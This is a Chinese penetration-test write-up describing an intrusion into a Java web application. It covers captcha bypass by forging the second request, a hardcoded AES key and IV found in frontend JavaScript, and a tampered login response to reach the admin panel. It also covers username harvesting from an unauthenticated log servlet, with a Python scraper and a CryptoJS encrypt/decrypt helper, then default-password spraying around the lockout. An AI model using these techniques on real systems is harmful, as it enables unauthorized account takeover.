记一次渗透测试
Java的站点,登录有限制5次,admin已经被锁定了,验证码没啥用,分两次请求,一次是验证验证码的,一次是验证登录的,因此只要为伪造第二次的请求即可
验证验证码
发送验证请求
Key/Iv硬编码
审计js源码发现,Aes中的Key/Iv使用了硬编码
但是没有用户名,当然可以尝试爆破,但是感觉效率不高,后面发现确实是这样的
Aes爆破
这里我使用 BurpCrypto
这个插件
一些问题
调试的时候发现,总是对不上,于是学习了一下 CryptoJS
这个Js库的使用
发现按照文中的写法,默认的输出是Base64编码后的
CryptoJS
中只提供了base64,因此爆破的时候还需要你去hex一下
简单调试CryptoJS
肯定要反解密的,因此学习了一下关于 CryptoJS
中Aes加解密的使用(支持加解密很多类型,但是这里面使用Aes),简单写了一个前端Aes加解密的东西
<!DOCTYPE html>
<html>
<head>
<title>Mikasa</title>
</head>
<body>
<input type="text" id="str" value="待加解密字符串" >
<input type="text" id="key" value="Key" >
<input type="text" id="iv" value="iv" >
<br>
<input type="button" name="" value="加密" onclick="EnCode();">
<input type="button" name="" value="解密" onclick="DenCode();">
<script src="./jquery.js"></script>
<script src="./Cryptojs.js"></script>
<script type="text/javascript">
function EnCode(argument) {
var StrStr= $("#str").val();
var keykey=$("#key").val();
var iviv=$("#iv").val();
alert(encrypt(StrStr,keykey,iviv));
}
function encrypt(data,key,iv) {
// body...
var EnKey= CryptoJS.enc.Latin1.parse(key);
var Eniv = CryptoJS.enc.Latin1.parse(iv);
return (CryptoJS.AES.encrypt(data, EnKey, {iv:Eniv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.Pkcs7}).toString());
}
function strToHexCharCode(str) {
var sb='';
for(var i = 0; i < str.length; i++){
var hex = (str.charCodeAt(i) & 0xFF).toString(16);
if (hex.length == 1) {
hex = '0' + hex;
}
sb=sb+hex;
}
return sb.toUpperCase();
}
function DenCode() {
var StrStr= $("#str").val();
var keykey=$("#key").val();
var iviv=$("#iv").val();
alert(dencrypt(StrStr,keykey,iviv));
}
function dencrypt(data,key,iv) {
// body...
var data= hexCharCodeToStr(data);
var DenKey= CryptoJS.enc.Latin1.parse(key);
var Deniv = CryptoJS.enc.Latin1.parse(iv);
return hexCharCodeToStr(CryptoJS.AES.decrypt(data, DenKey, {iv:Deniv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.Pkcs7}).toString());
}
function hexCharCodeToStr(hexCharCodeStr) {
var trimedStr = hexCharCodeStr.trim();
var rawStr =
trimedStr.substr(0,2).toLowerCase() === "0x"
?
trimedStr.substr(2)
:
trimedStr;
var len = rawStr.length;
if(len % 2 !== 0) {
alert("Illegal Format ASCII Code!");
return "";
}
var curCharCode;
var resultStr = [];
for(var i = 0; i < len;i = i + 2) {
curCharCode = parseInt(rawStr.substr(i, 2), 16); // ASCII Code Value
resultStr.push(String.fromCharCode(curCharCode));
}
return resultStr.join("");
}
</script>
</body>
</html>
需要引入 CryptoJS
以及 Jquery
后台未授权访问获取日志log
审计js源码发现,是根据 status
以及 token
字段来判断是否成功
劫持返回包
尽量保持参数不为空
修改后成功进入后台
但是每个模块应该都做了鉴权,不能使用
但是查看日志的 Servlet
鉴权不全,存在未授权访问,因此我们可以获取到登录用户的用户名
bs4爬下来去个重完事
# -*- coding: utf-8 -*-
from bs4 import BeautifulSoup
import requests
import time
headers={
"Cookie":""
}
url="url"
data={"pageNum":"1"}
test=requests.post(url,headers=headers,data=data)
soup=BeautifulSoup(test.text)
for test in range(1,60):
Mikasa=requests.post(url,headers=headers,data={"pageNum":test})
soup = BeautifulSoup(Mikasa.text)
num = len(soup.find_all("td"))
num_test=0
while num_test <num:
open("user.txt","a").write(soup.find_all("td")[num_test].get_text()+"\n")
num_test=num_test+4
pass
尝试爆破
拿到了用户名(300+),于是准备去爆破,因为锁定机制每个只能爆破 5 次,于是先爆破两个密码试试
这里我选择的是 123456
password
但是爆破结果不如人意(估计默认密码不是123456,或者大家都改了),截图没了,暂时就这样
后面注意到在渗透其他的站点时候,发现默认密码好像是 Pass*123
尝试爆破,在300+个用户中,终于找到了一个
我们去解密一下
登录成功
后台的功能较多,慢慢待测